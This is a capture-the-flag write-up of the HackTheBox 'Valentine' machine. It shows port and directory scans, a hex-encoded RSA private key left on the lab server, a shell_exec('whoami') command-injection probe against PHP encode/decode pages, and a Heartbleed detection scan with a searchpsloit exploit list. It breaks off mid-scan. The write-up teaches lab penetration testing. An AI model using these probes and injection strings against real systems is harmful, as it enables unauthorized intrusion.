HTB 'Valentine' Writeup

by initinfosec on January 19, 2020 under writeups

37 minute read

Valentine HackTheBox Writeup

		Host Information
Hostname	IP Address	Operating System	Difficulty Level

Valentine	10.10.10.79	Linux	Easy

HTB Valentine card

view all writeups here

Writeup Contents:

Initial Recon

nmap

Once again, we’re going to start with an nmap scan of the system:

root@kali:/writeups/HTB/valentine/enumeration# nmap -sC -sV -p- -O -oA valentine 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 16:54 CST
Nmap scan report for 10.10.10.79
Host is up (0.040s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2020-01-19T22:57:04+00:00; +1m18s from scanner time.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/19%OT=22%CT=1%CU=33601%PV=Y%DS=2%DC=I%G=Y%TM=5E24DE7
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=8)OPS
OS:(O1=M54DST11NW4%O2=M54DST11NW4%O3=M54DNNT11NW4%O4=M54DST11NW4%O5=M54DST1
OS:1NW4%O6=M54DST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN
OS:(R=Y%DF=Y%T=40%W=3908%O=M54DNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M54DST11NW4%RD=
OS:0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%R
OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 1m17s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.35 seconds

OK, it appears to be an Ubuntu server, running both SSH on port 22, and two instances of apache 2.2.22 - one over http on port 80, and one over https on port 443.

dirb

Let’s run a dirb against both of these, to see what’s out there.

HTTP/Port 80 results:

root@kali:/writeups/HTB/valentine/enumeration# dirb http://10.10.10.79 /usr/share/wordlists/dirb/big.txt -o valentine_port80_dirb.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: valentine_port80_dirb.txt
START_TIME: Sun Jan 19 17:07:41 2020
URL_BASE: http://10.10.10.79/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://10.10.10.79/ ----
+ http://10.10.10.79/cgi-bin/ (CODE:403|SIZE:287)                                    
+ http://10.10.10.79/decode (CODE:200|SIZE:552)                                      
==> DIRECTORY: http://10.10.10.79/dev/                                               
+ http://10.10.10.79/encode (CODE:200|SIZE:554)                                      
+ http://10.10.10.79/index (CODE:200|SIZE:38)                                        
+ http://10.10.10.79/server-status (CODE:403|SIZE:292)                               
                                                                                     
---- Entering directory: http://10.10.10.79/dev/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sun Jan 19 17:23:05 2020
DOWNLOADED: 20458 - FOUND: 5

Intersting. dev, encode, and decode may be interesting.

HTTPS/Port 443 results:

root@kali:/writeups/HTB/valentine/enumeration# dirb https://10.10.10.79:443 /usr/share/wordlists/dirb/big.txt -o valentine_port443_dirb.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: valentine_port443_dirb.txt
START_TIME: Sun Jan 19 17:17:56 2020
URL_BASE: https://10.10.10.79:443/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: https://10.10.10.79:443/ ----
+ https://10.10.10.79:443/cgi-bin/ (CODE:403|SIZE:288)                               
+ https://10.10.10.79:443/decode (CODE:200|SIZE:552)                                 
==> DIRECTORY: https://10.10.10.79:443/dev/                                          
+ https://10.10.10.79:443/encode (CODE:200|SIZE:554)                                 
+ https://10.10.10.79:443/index (CODE:200|SIZE:38)                                   
+ https://10.10.10.79:443/server-status (CODE:403|SIZE:293)                          
                                                                                     
---- Entering directory: https://10.10.10.79:443/dev/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sun Jan 19 18:04:09 2020
DOWNLOADED: 20458 - FOUND: 5

These two pages seem to have the same content. Let’s start with port 80, and if we need to, we can go to the content on port 443 to see if it behaves differently.

examining http port 80

Going to the index page, it appears to be a single large image of a woman and heart graffiti looking artwork. Checking if there’s anything in the source simple shows:

<center><img src="omg.jpg"/></center>

Copying the image locally via wget the image to see if there’s anything hidden in it using the file and strings utilities, doesn’t seem to yield anything useful. Let’s check out the /dev directory next.

Since /dev is a listable index, we can see the following

finding a clue

Index of /dev
[ICO]	Name	Last modified	Size	Description
[DIR]	Parent Directory	 	- 	 

[ ]	hype_key	13-Dec-2017 16:48 	5.3K	 
[TXT]	notes.txt	05-Feb-2018 16:42 	227 	 

Apache/2.2.22 (Ubuntu) Server at 10.10.10.79 Port 80

Interesting, let’s look at notes.txt first:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

OK, so it’s a pretty sure bet that encode/decode functions can be leveraged somehow. Feels pretty CTF-like.

Let’s check out hype_key:

2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30 46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 6b 44 61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 4d 79 30 30 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37 6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 67 4e 52 46 50 59 75 4e 69 58 72 58 73 31 77 2f 64 65 4c 43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 35 65 58 4f 61 55 49 48 76 48 6e 76 4f 36 53 63 48 56 57 52 72 5a 37 30 66 63 70 63 70 69 6d 4c 31 77 31 33 54 67 64 64 32 41 69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 34 75 33 52 4f 72 54 43 4b 65 6f 39 44 73 54 52 71 73 32 6b 31 53 48 0d 0a 51 64 57 77 46 77 61 58 62 59 79 54 31 75 78 41 4d 53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 45 0d 0a 70 30 67 44 30 55 63 79 6c 4b 6d 36 72 43 5a 71 61 63 77 6e 53 64 64 48 57 38 57 33 4c 78 4a 6d 43 78 64 78 57 35 6c 74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 59 43 62 37 47 54 71 4f 65 37 45 6d 4d 42 33 66 47 49 77 53 64 57 38 4f 43 38 4e 57 54 6b 77 70 6a 63 30 45 4c 62 6c 55 61 36 75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 53 77 53 70 57 79 39 57 70 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 33 59 50 4f 69 44 75 50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36 35 74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 53 66 38 52 2f 72 73 52 4b 65 65 4b 63 69 6c 44 65 50 43 6a 65 61 4c 71 74 71 78 6e 68 4e 6f 46 74 67 30 4d 78 74 36 72 32 67 62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74 76 67 62 70 74 66 69 57 45 45 73 5a 59 6e 35 79 5a 50 68 55 72 39 51 0d 0a 72 30 38 70 6b 4f 78 41 72 58 45 32 64 6a 37 65 58 2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 65 0d 0a 32 56 57 52 79 54 5a 31 46 66 6e 67 4a 53 73 76 39 2b 4d 66 76 7a 33 34 31 6c 62 7a 4f 49 57 6d 6b 37 57 66 45 63 57 63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41 6e 6e 66 52 4b 6b 47 56 47 31 4f 56 79 75 77 63 2f 4c 56 6a 6d 62 68 5a 7a 4b 77 4c 68 61 5a 52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47 2b 57 55 37 49 77 4b 33 59 55 35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44 76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f 59 4d 72 6d 6e 4d 39 6b 2f 31 78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d

Interesting, this appears to be some hex. Let’s throw it into a hex to ASCII converter, to see if it decodes to anything legible. I like to use this one, personally

Interesting, seems to be an RSA Key:

Real quickly, let’s see if we can use this to log into SSH. Likely not the road they want you to go down, but we’ll try usernames root and valentine and give this key instead of a password. If that doesn’t work, we’ll move on to the encode/decode sections of the website.

Let’s go ahead and save the key as “hype.key” in our /loot directory.

SSH uses the -i flag to specify an identity file rather than a passsword. (You can confirm this in the man page.)

Let’s give a few variations a whirl. At first we see this:

root@kali:/writeups/HTB/valentine/loot# ssh root@10.10.10.79 -i hype.key
The authenticity of host '10.10.10.79 (10.10.10.79)' can't be established.
ECDSA key fingerprint is SHA256:lqH8pv30qdlekhX8RTgJTq79ljYnL2cXflNTYu8LS5w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.79' (ECDSA) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'hype.key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "hype.key": bad permissions
root@10.10.10.79's password: 

So we need to change the permissions of the key file, and try again. Based on the error message, my first inclination is to change the permissions to 600 or 400 (and a quick search confirms this). Let’s go ahead and change it with chmod 600 hype.key and try again:

root@kali:/writeups/HTB/valentine/loot# ssh root@10.10.10.79 -i hype.key
Enter passphrase for key 'hype.key': 

It appears we need a passphrase for the key, and “valentine” “hype” and “hype_key” didn’t seem to work. Let’s check the encode and decode direcotries.

checking out the encode and decode functions

Let’s start with encode. Going to the /encode URI brings us to a simple page with a textbox for our entry, a submit button, a link to the decode page, and a message that says ‘no data is stored on our servers.’ Based on the contents of note.txt, this may or may not be true, however, since the dev wanted to verify the processes only happened client-side.

Let’s enter “text” and see what happens. After hitting submit, we’re directed to a page outputting the following:

Your input:
test
Your encoded input:
dGVzdA== 

OK, looks like they’re doing a simple base64 encoding. Before we use their decode function, let’s check locally. We can run a simple: echo "dGVzdA==" | base64 -d on our local system and view the output, Seems we were correct, it returns “test” - let’s go to the decode page and see if anything strange happens there, or if it’s as to be expected.

Going to the decode page, it appears our results are pretty normal:

Your input:

dGVzdA==

Your encoded input:

test

But, notice that these are php pages, and we have an input box. Is it possible they are not filtering client input (if stuff is indeed being sent to the server, as implied it might be in the note.txt?)

Since it’s a php page, let’s try a simple command to see what happens. PHP has a shell_exec() function that should pass a command to the OS. So let’s see what happens if we run shell_exec('whoami');. Just in case, let’s try running a base64 encoding locally, then passing it to the doecode page, in case there’s some already existing filtering going on for input:

root@kali:/writeups/HTB/valentine/loot# echo "shell_exec('whoami');" | base64
c2hlbGxfZXhlYygnd2hvYW1pJyk7Cg==

Passing the base64 string to the decode page yields a normal result:

Your input:

c2hlbGxfZXhlYygnd2hvYW1pJyk7Cg==

Your encoded input:

shell_exec('whoami');

OK, let’s try the encode page instead, with the normal shell_exec function:

Your input:
shell_exec('whoami');
Your encoded input:
c2hlbGxfZXhlYygnd2hvYW1pJyk7 

Still largely normal. It’s interesting that the webapp seeed to strip the padding at the end (the ==) from the string though. Pasting the base64 encoded string without the padding gave no different results though.

I performed the same steps as above on the SSL version of the site, with the same results. Perhaps we do not leverage an issue with the encode/decode functions. Let’s take a step back, and reassess.

Reassessing and doing further enumeration

After thinking for a moment, I keep coming back to the question of: “Why have both an HTTPS and HTTP implementation of the same site if their functionality is the same?” After pondering this for a few, I wonder if there is a vulnerability in the HTTPS version. THe initial nmap scan seemed to indicate this was SSL on 443. There was a major vulnerability in SSL awhile back called “Heartbleed” - let’s see if we can scan for that; if this doesn’t turn up anything, we can try other options.

Nmap has a number of scripts (called NSE scripts) for assessing vulnerabilities, let’s see if they have one for heartbleed. No surprise, it appears they do.

The syntax is simple enough: nmap -p 443 --script ssl-heartbleed </code>. Let's run it against the Valentine host:

root@kali:/writeups/HTB/valentine/enumeration# nmap -p 443 --script ssl-heartbleed 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-19 18:41 CST
Nmap scan report for 10.10.10.79
Host is up (0.045s latency).

PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://www.openssl.org/news/secadv_20140407.txt 
|       http://cvedetails.com/cve/2014-0160/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds

exploitation of the HTTPS service

Well, would you look at that, Valentine is vulnerable to Heartbleed. Come to thing of it, nice pun. Heartbleed would explain the box’s name and the image of the bleeding heard on the index page. Oh well.

Let’s see what we can find on searchsploit for manual exploitation of heartbleed.

root@kali:/writeups/HTB/valentine/exploits# searchsploit heartbleed
-------------------------------------------- ----------------------------------------
 Exploit Title                              |  Path
                                            | (/usr/share/exploitdb/)
-------------------------------------------- ----------------------------------------
OpenSSL 1.0.1f TLS Heartbeat Extension - 'H | exploits/multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartble | exploits/multiple/remote/32745.py
OpenSSL TLS Heartbeat Extension - 'Heartble | exploits/multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartble | exploits/multiple/remote/32998.c
-------------------------------------------- ----------------------------------------
Shellcodes: No Result

From the nmap NSE script, it looks like we’re somewhere in OpenSSL versions 1.01 and 1.0.2beta.

We can confirm this with a handy tool in kali called TLSSLed.

oot@kali:/writeups/HTB/valentine/enumeration# tlssled 10.10.10.79 443
------------------------------------------------------
 TLSSLed - (1.3) based on sslscan and openssl
                 by Raul Siles (www.taddong.com)
------------------------------------------------------
    openssl version: OpenSSL 1.1.1d  10 Sep 2019
    
------------------------------------------------------
    Date: 20200119-185143
------------------------------------------------------

[*] Analyzing SSL/TLS on 10.10.10.79:443 ...
    [.] Output directory: TLSSLed_1.3_10.10.10.79_443_20200119-185143 ...

[*] Checking if the target service speaks SSL/TLS...
    [.] The target service 10.10.10.79:443 seems to speak SSL/TLS...

    [.] Using SSL/TLS protocol version: 
        (empty means I'm using the default openssl protocol version(s))

[*] Running sslscan on 10.10.10.79:443 ...

    [-] Testing for SSLv2 ...

    [-] Testing for the NULL cipher ...

    [-] Testing for weak ciphers (based on key length - 40 or 56 bits) ...

    [+] Testing for strong ciphers (based on AES) ...
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256         DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384            
Accepted  TLSv1.2  256 bits  AES256-SHA256                
Accepted  TLSv1.2  256 bits  AES256-SHA                   
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256         DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256            
Accepted  TLSv1.2  128 bits  AES128-SHA256                
Accepted  TLSv1.2  128 bits  AES128-SHA                   
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.1  256 bits  AES256-SHA                   
Accepted  TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.1  128 bits  AES128-SHA                   
Accepted  TLSv1.0  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.0  256 bits  AES256-SHA                   
Accepted  TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.0  128 bits  AES128-SHA                   
Accepted  SSLv3    256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  SSLv3    256 bits  AES256-SHA                   
Accepted  SSLv3    128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  SSLv3    128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  SSLv3    128 bits  AES128-SHA                   

    [-] Testing for MD5 signed certificate ...

    [.] Testing for the certificate public key length ...

    [.] Testing for the certificate subject ...
Subject:  valentine.htb

    [.] Testing for the certificate CA issuer ...
Issuer:   valentine.htb

    [.] Testing for the certificate validity period ...
    Today: Mon 20 Jan 2020 12:52:01 AM UTC
Not valid before: Feb  6 00:45:25 2018 GMT
Not valid after:  Feb  6 00:45:25 2019 GMT

    [.] Checking preferred server ciphers ...


[*] Testing for SSL/TLS renegotiation MitM vuln. (CVE-2009-3555) ...

    [+] Testing for secure renegotiation support (RFC 5746) ...
    Secure Renegotiation IS supported

[*] Testing for SSL/TLS renegotiation DoS vuln. (CVE-2011-1473) ...

    [.] Testing for client initiated (CI) SSL/TLS renegotiation (secure)...
    UNKNOWN

    [.] Testing for client initiated (CI) SSL/TLS renegotiation (insecure)...
    UNKNOWN

[*] Testing for client authentication using digital certificates ...

    SSL/TLS client certificate authentication IS NOT required

[*] Testing for TLS v1.1 and v1.2 (CVE-2011-3389 vuln. aka BEAST) ...

    [-] Testing for SSLv3 and TLSv1 support ...
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256         DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 2048 bits
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384            
Accepted  TLSv1.2  256 bits  AES256-SHA256                
Accepted  TLSv1.2  256 bits  AES256-SHA                   
Accepted  TLSv1.2  256 bits  CAMELLIA256-SHA              
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256         DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-SEED-SHA              DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 2048 bits
Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256            
Accepted  TLSv1.2  128 bits  AES128-SHA256                
Accepted  TLSv1.2  128 bits  AES128-SHA                   
Accepted  TLSv1.2  128 bits  SEED-SHA                     
Accepted  TLSv1.2  128 bits  CAMELLIA128-SHA              
Accepted  TLSv1.2  128 bits  ECDHE-RSA-RC4-SHA             Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  RC4-SHA                      
Accepted  TLSv1.2  112 bits  ECDHE-RSA-DES-CBC3-SHA        Curve P-256 DHE 256
Accepted  TLSv1.2  112 bits  EDH-RSA-DES-CBC3-SHA          DHE 2048 bits
Accepted  TLSv1.2  112 bits  DES-CBC3-SHA                 
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.1  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 2048 bits
Accepted  TLSv1.1  256 bits  AES256-SHA                   
Accepted  TLSv1.1  256 bits  CAMELLIA256-SHA              
Accepted  TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.1  128 bits  DHE-RSA-SEED-SHA              DHE 2048 bits
Accepted  TLSv1.1  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 2048 bits
Accepted  TLSv1.1  128 bits  AES128-SHA                   
Accepted  TLSv1.1  128 bits  SEED-SHA                     
Accepted  TLSv1.1  128 bits  CAMELLIA128-SHA              
Accepted  TLSv1.1  128 bits  ECDHE-RSA-RC4-SHA             Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  RC4-SHA                      
Accepted  TLSv1.1  112 bits  ECDHE-RSA-DES-CBC3-SHA        Curve P-256 DHE 256
Accepted  TLSv1.1  112 bits  EDH-RSA-DES-CBC3-SHA          DHE 2048 bits
Accepted  TLSv1.1  112 bits  DES-CBC3-SHA                 

    [+] Testing for RC4 in the prefered cipher(s) list ...

    [.] Testing for TLS v1.1 support ...
    TLS v1.1 IS supported

    [.] Testing for TLS v1.2 support ...
    TLS v1.2 IS supported

[*] Testing for HTTPS (SSL/TLS) security headers using HTTP/1.0 ...

    [+] Testing for HTTP Strict-Transport-Security (HSTS) header ...

    [+] Testing for cookies with the secure flag ...

    [-] Testing for cookies without the secure flag ...

[*] Testing for HTTPS (SSL/TLS) security headers using HTTP/1.1 & Host ...

